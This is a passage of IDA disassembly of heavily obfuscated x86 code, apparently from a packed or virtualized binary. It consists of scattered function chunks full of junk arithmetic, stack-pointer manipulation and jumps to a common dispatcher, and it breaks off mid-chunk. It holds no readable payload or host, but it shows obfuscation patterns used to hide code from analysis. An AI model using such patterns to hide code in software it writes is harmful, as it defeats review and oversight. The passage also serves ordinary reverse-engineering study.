loc_5A39F0:				; CODE XREF: sdfs____:005A457Aj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5AFE31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A3A04:				; CODE XREF: sub_5AB3DB-C6C0j
		add	esp, 4
		xor	edx, eax
		jmp	loc_5A5090
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3A11:				; CODE XREF: sub_5AA2D1-F2D6j
		xor	ebp, ecx
		pop	ecx
		sub	eax, 1A00015Fh
		sub	eax, ebp
		add	eax, 1A00015Fh
		pop	ebp
		jmp	loc_5A03AA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B3


loc_5A3A26:				; CODE XREF: sub_5A75B3-7BCCj
		dec	ebp
		add	ebp, 62381131h
		jmp	loc_5AD6DA
; END OF FUNCTION CHUNK	FOR sub_5A75B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A3A32:				; CODE XREF: sub_5992DA+DDFj
		pop	edx
		add	edx, 4
		jmp	loc_59CB59
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3A3E:				; CODE XREF: sub_59D6B8-31F0j
		shl	edi, 4
		push	edx
		jmp	loc_5A22E5
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3A47:				; CODE XREF: sub_5AA2D1-D54Ej
		add	si, 6EBAh
		add	si, 0BDE2h
		add	ax, 64A9h
		add	ax, si
		sub	ax, 64A9h
		mov	esi, [esp-8+arg_4]
		jmp	loc_5A4E88
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A3A64:				; CODE XREF: sub_59993B+44F0j
		sub	[esp+8+var_4], eax
		jmp	loc_5A525C
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3A6D:				; CODE XREF: sub_5AA2D1+5BA6j
		push	ecx
		mov	ecx, 14842B90h
		and	ecx, 14719E4h
		shl	ecx, 5
		jmp	loc_5AEB05
; ---------------------------------------------------------------------------


loc_5A3A81:				; CODE XREF: sub_5AA2D1-69EAj
		mov	ah, 51h
		sub	bl, ah
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		jmp	loc_59B463
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8B3E


loc_5A3A8E:				; CODE XREF: sub_5A8B3E+21A7j
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		jmp	loc_5B0124
; END OF FUNCTION CHUNK	FOR sub_5A8B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A3A9C:				; CODE XREF: sub_5A522E-5C04j
		neg	edi
		not	edi
		xor	edi, 0DE2607BFh
		add	edi, esi
		pop	esi
		xor	edi, 286C5E1Eh
		jmp	loc_5A597F
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5A3AB4:				; CODE XREF: sub_59F463+EE55j
		pop	esp
		jmp	loc_5AF8D7
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3ABA:				; CODE XREF: sub_5AA2D1-FEC4j
		add	edx, ecx
		add	edx, 443E4E91h
		jmp	loc_59A07C
; ---------------------------------------------------------------------------


loc_5A3AC7:				; CODE XREF: sub_5AA2D1-B07Aj
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		push	[esp-24h+arg_20]
		pop	ecx
		jmp	loc_5A753A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3AD9:				; CODE XREF: sub_5A580F-9C17j
					; sub_59D6B8+2EDj
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		jmp	loc_5A6FD2
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A3AE4	proc near		; DATA XREF: sdfs____:00598E84o

var_2		= word ptr -2

		movzx	ax, byte ptr [edx]
		push	small 37E7h
		mov	[esp+2+var_2], ax
		jmp	loc_59910F
sub_5A3AE4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_5A3AF5:				; CODE XREF: sub_5A633D+C7Dj
		pop	eax
		and	eax, edx
		mov	edx, [esp-8+arg_4]
		jmp	loc_5999EF
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A3B00:				; CODE XREF: sub_5B03B3-4559j
		mov	ebx, [esp+0Ch+var_C]
		jmp	sub_5AF18F
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A3B08:				; CODE XREF: sub_5A2E41-8ACEj
		shr	edi, 3
		jmp	loc_5A204C
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A3B10:				; CODE XREF: sub_599D0E+694Cj
		pop	edx
		add	bl, 8
		add	bl, cl
		push	cx
		mov	cl, 8
		jmp	loc_59C434
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------


loc_5A3B1F:				; CODE XREF: sdfs____:0059EDE5j
		add	esp, 4
		jmp	loc_5A7057
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A3B2A:				; CODE XREF: sub_5A21A4+BD3Dj
		pop	eax
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	sub_59C2A6
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A3B36:				; CODE XREF: sub_5A4E04+36j
		add	esp, 4
		jmp	loc_5A2D19
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3B3E:				; CODE XREF: sub_5AA2D1-9490j
		pop	ecx
		push	small 697Bh
		mov	[esp+0], dx
		mov	dl, 0CAh
		jmp	loc_5A83CA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A3B4E:				; CODE XREF: sdfs____:005A8D67j
		pop	edi
		sub	ecx, 1
		xor	ecx, 0DB71A3EAh
		xor	edi, ecx
		pop	ecx
		jmp	loc_59B879

; =============== S U B	R O U T	I N E =======================================



sub_5A3B60	proc near		; CODE XREF: sub_5A6EE8-37B1j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059929D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B09E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059B411 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059BFE7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E0CA SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A18E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A21EF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 005A4AFB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A50FE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A66AC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AAD9D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC91F SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_5AC91F
sub_5A3B60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A3B68:				; CODE XREF: sub_59FE51+48AEj
		add	ebx, edx
		jmp	loc_59F4EF
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5A3B6F:				; CODE XREF: sub_5AD243-13D73j
					; sub_5A2166+CAD6j
		push	ecx
		mov	ecx, 13A32EA0h
		add	[esp+4+arg_0], ecx
		pop	ecx
		jmp	sub_5A66D6
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3B7F:				; CODE XREF: sub_5AA2D1+29BAj
		jmp	sub_5AAD97
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_5A3B84:				; CODE XREF: sub_599884+16471j
		xor	edx, 68703542h
		sub	edx, 0FF11F685h
		add	ebp, edx
		pop	edx
		xor	ebp, 8CFCBCEEh
		jmp	loc_5ABEC2
; END OF FUNCTION CHUNK	FOR sub_599884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_5A3B9E:				; CODE XREF: sub_5A2F58+83Cj
		xor	ch, 8Dh
		push	bx
		mov	bh, 2Eh
		sub	al, bh
		pop	bx
		sub	al, 2
		add	al, ch
		add	al, 2
		jmp	loc_5AECF6
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A3BB4:				; CODE XREF: sub_59EE3E:loc_5A45ABj
		sub	edx, 1F783A37h
		jmp	loc_5A701B
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A3BBF:				; CODE XREF: sub_5A580F-5822j
		mov	edi, 62547DF8h
		add	esi, edi
		pop	edi
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		jmp	loc_59E294
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A3BD3:				; CODE XREF: sub_5A0AA2+57A4j
		pop	esi
		sub	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 0D361F7E5h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5A0A1F
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A3BE5:				; CODE XREF: sub_5A5824+16BFj
		mov	[esp+8+var_8], ebx
		mov	ebx, 5D9A2262h
		sub	ebx, 38EE7C32h
		add	ebx, 5E1774D5h
		jmp	loc_5A131E
; END OF FUNCTION CHUNK	FOR sub_5A5824

; =============== S U B	R O U T	I N E =======================================



sub_5A3BFE	proc near		; CODE XREF: sub_5AA2D1-7808j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059E277 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A35AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6509 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8037 SIZE 00000023 BYTES

		push	ebx
		mov	ebx, 0B2D6858h
		jmp	loc_5A6509
sub_5A3BFE	endp

; ---------------------------------------------------------------------------


loc_5A3C09:				; CODE XREF: sdfs____:005AC06Ej
		mov	esi, 0E4215674h
		xor	ecx, esi
		pop	esi
		or	ebp, ecx
		pop	ecx
		jmp	loc_59B788

; =============== S U B	R O U T	I N E =======================================



sub_5A3C19	proc near		; CODE XREF: sub_59C979+402Fj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059B264 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059BF25 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059C66D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059EA30 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059FDFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A33F2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A9494 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB17F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005ABB22 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ABF5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD4CC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE3E1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005B024C SIZE 0000001A BYTES

		push	ebp
		mov	ebp, 66D33E95h
		mov	ebx, 0A80FCB7Eh
		add	ebx, ebp
		pop	ebp
		neg	ebx
		inc	ebx
		sub	ebx, 71E3608Bh
		inc	ebx
		dec	ebx
		jmp	loc_59EA30
sub_5A3C19	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A3C37:				; CODE XREF: sub_5A2E41+61j
		mov	[esp+0Ch+var_C], esp
		jmp	loc_59EB19
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A3C3F:				; CODE XREF: sub_59CBE1+EBBBj
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], edi
		jmp	loc_5AC3A6
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A3C4D:				; CODE XREF: sub_5A63DC-3E7Dj
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A3C6F:				; CODE XREF: sub_5AF294-8F46j
		xor	ecx, 8AF4A4BFh
		jmp	loc_5ABEB2
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------


loc_5A3C7A:				; CODE XREF: sdfs____:005A0171j
		neg	eax
		or	eax, 0EEE41C9h
		jmp	loc_59A7CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A3C86:				; CODE XREF: sub_5A6BBC+D25j
		and	edi, 0BFB0A92h
		xor	edi, 5BAA540Ah
		dec	edi
		jmp	loc_59E5F7
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A3C98:				; CODE XREF: sub_5AAB66-8407j
		push	56F2h
		jmp	loc_59C19E
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3CA2:				; CODE XREF: sub_5AA2D1-636j
		push	dword ptr [esp+0]
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_5A8CB3
; ---------------------------------------------------------------------------


loc_5A3CB3:				; CODE XREF: sub_5AA2D1-356Ej
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		add	eax, edi
		pop	edi
		xchg	eax, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		ror	byte ptr [esp-0Ah+arg_4+2], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A3CD2:				; CODE XREF: sdfs____:005AA0BDj
		xor	dl, 39h
		jmp	loc_5AA8BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE7B8


loc_5A3CDA:				; CODE XREF: sub_5AE7B8-A84Cj
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AA0E5
; END OF FUNCTION CHUNK	FOR sub_5AE7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A3CED:				; CODE XREF: sub_5A9EBF-94A5j
		neg	esi
		shr	esi, 8
		neg	esi
		jmp	loc_59BB62
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_5A3CF9	proc near		; CODE XREF: sub_5A35F6-6C0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D3B7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DDD7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A147D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9098 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADDC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B01A0 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	$+5
		push	72C0h
		jmp	loc_5A147D
sub_5A3CF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5A3D11:				; CODE XREF: sub_59F463+6j
		mov	ecx, 2
		sub	edx, ecx
		push	[esp+4+var_4]
		pop	ecx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	esp
		jmp	loc_5ABA38
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3D28:				; CODE XREF: sub_59D6B8+C850j
		pop	edi
		add	edi, 4
		push	2D40h
		mov	[esp-8+arg_4], ecx
		jmp	loc_5A92D8
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3D3C:				; CODE XREF: sub_5AA2D1-DEAj
		mov	esi, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_59EF13
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A3D4A:				; CODE XREF: sub_5AB3DB:loc_5ACC65j
		dec	eax
		not	eax
		jmp	loc_59E8FD
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59D268

; =============== S U B	R O U T	I N E =======================================



sub_5A3D5B	proc near		; CODE XREF: sub_5ABEF6+1ECDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059F46E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3DDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A447F SIZE 00000023 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 4DF9684Eh
		mov	edx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp+0]
		jmp	loc_5A3DDA
sub_5A3D5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5A3D78:				; CODE XREF: sub_5A81C4+71A0j
		pop	esp
		sub	esp, 4
		jmp	loc_5AF629
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5A3D81:				; CODE XREF: sub_599A6F+29BBj
		pop	dx
		sub	al, 0E5h
		add	al, 26h
		add	al, bh
		sub	al, 26h
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 88h
		jmp	loc_5A159F
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5A3D98:				; CODE XREF: sub_5B0377-127BCj
		xor	[esp+0], al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1F28


loc_5A3DA1:				; CODE XREF: sub_5A1F28+179Cj
		pop	ebx
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		jmp	loc_59A1A3
; END OF FUNCTION CHUNK	FOR sub_5A1F28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A3DC1:				; CODE XREF: sub_5A7BA0-47Bj
		pop	esp
		mov	[esp-8+arg_4], ebp
		push	1EEBh
		mov	[esp-4+arg_0], eax
		jmp	loc_59C745
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A3DD2:				; CODE XREF: sub_5AC18D-731j
		mov	esp, [esp+8+var_8]
		jmp	loc_5A35A9
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3D5B


loc_5A3DDA:				; CODE XREF: sub_5A3D5B+18j
		add	esp, 4
		jmp	loc_5A447F
; END OF FUNCTION CHUNK	FOR sub_5A3D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A3DE5:				; CODE XREF: sub_5A4D9D+A537j
		pop	esp
		mov	[esp+8+var_8], ebx
		mov	ebx, 5443147Ch
		shr	ebx, 1
		not	ebx
		inc	ebx
		xor	ebx, 5EBA4AAEh
		sub	ebx, 1
		push	esi
		push	ecx
		jmp	sub_5A118F
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3E06:				; CODE XREF: sub_5AA2D1-9AEBj
					; sub_5A3BFE+4457j
		add	esi, ebx
		pop	ebx
		jmp	loc_5AFF49
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8931


loc_5A3E0E:				; CODE XREF: sub_5A8931-EBCCj
		mov	eax, 0E4D26DBh
		add	esi, eax
		pop	eax
		jmp	loc_5A920F
; END OF FUNCTION CHUNK	FOR sub_5A8931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5330


loc_5A3E1B:				; CODE XREF: sub_5A5330-6506j
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ecx, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 43997E28h
		sub	eax, 43997E24h
		add	ecx, eax
		jmp	loc_5AB26B
; END OF FUNCTION CHUNK	FOR sub_5A5330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AD5D


loc_5A3E48:				; CODE XREF: sub_59AD5D+Ej
		add	al, 0F0h
		mov	bx, [esp+2+var_2]
		add	esp, 2
		add	al, 0A1h
		add	al, bl
		sub	esp, 4
		mov	dword ptr [esp+2+var_2], ecx
		push	eax
		mov	ah, 0DDh
		push	edx
		jmp	loc_5A3244
; END OF FUNCTION CHUNK	FOR sub_59AD5D

; =============== S U B	R O U T	I N E =======================================



sub_5A3E64	proc near		; CODE XREF: sub_5AA2D1-8153j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005996CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599A55 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A818 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B101 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E3EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E44D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E72B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A234C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A83E2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A9B50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE34A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AE4B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE65F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AECD2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AF116 SIZE 00000023 BYTES

		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5AE4B5
sub_5A3E64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5A3E81:				; CODE XREF: sub_5A9B1D-88B2j
		pop	edi
		or	ecx, 40AA0E79h
		or	ecx, 2298273Dh
		sub	ecx, 76BA3F79h
		add	ebp, 71EF489Ch
		add	ebp, ecx
		sub	ebp, 71EF489Ch
		mov	ecx, [esp+0]
		add	esp, 4
		push	1266h
		jmp	loc_5AA434
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A3EB5:				; CODE XREF: sub_5992DA+985Cj
		mov	[esp+30h+var_32+2], edi
		push	0D7C2524h
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_5AAE1F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3EC6:				; CODE XREF: sub_59D6B8-82Aj
		mov	esp, [esp+8+var_8]
		mov	cx, word ptr [esp+8+var_8]
		push	79F5h
		mov	[esp+0Ch+var_C], edx
		jmp	sub_5AAB66
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A3EDA:				; CODE XREF: sub_5A18F6+45C2j
		and	edx, 215A5A8Eh
		xor	edx, 70D348A2h
		sub	edx, 689C4E76h
		push	ebp
		push	67830DFDh
		pop	ebp
		and	ebp, 6FE707C5h
		jo	loc_5A373C
		add	ebp, 0E174FFFh
		jbe	loc_5AFF49
		jmp	sub_5AF9B3
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A3F10:				; CODE XREF: sub_5A79BE+3B8Dj
		sub	esi, 9BD4ECFh
		jmp	loc_5A937C
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A3F1B:				; CODE XREF: sub_5A4E04+51B7j
		sub	ebx, 772E0649h
		jmp	loc_59F9BD
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A3F26:				; CODE XREF: sub_59EE3E+832Cj
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	bl, 0BEh
		push	ax
		mov	al, 51h
		add	bl, al
		mov	ax, word ptr [esp+6+var_8+2]
		jmp	loc_5B035B
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------


loc_5A3F41:				; CODE XREF: sdfs____:005A7BD4j
		pop	eax
		push	small 3B98h
		mov	[esp], ax
		jmp	loc_5AC531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A3F4F:				; CODE XREF: sub_5A9EC5+CABj
		pop	dx
		sub	ch, 73h
		push	6248h
		mov	[esp+0Ch+var_C], ebx
		mov	bh, 0D7h
		jmp	loc_5A8344
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE7B8


loc_5A3F63:				; CODE XREF: sub_5AE7B8-14EB1j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A3CDA
; END OF FUNCTION CHUNK	FOR sub_5AE7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5A3F71:				; CODE XREF: sub_59B4A0-41Ej
		sub	esi, 0FFFFFFFFh
		and	esi, 1DBE1D55h
		neg	esi
		xor	esi, 4D2C310Dh
		jmp	loc_5A4241
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A3F87:				; CODE XREF: sub_5A0FFF+26B9j
		pop	edi
		push	ebx
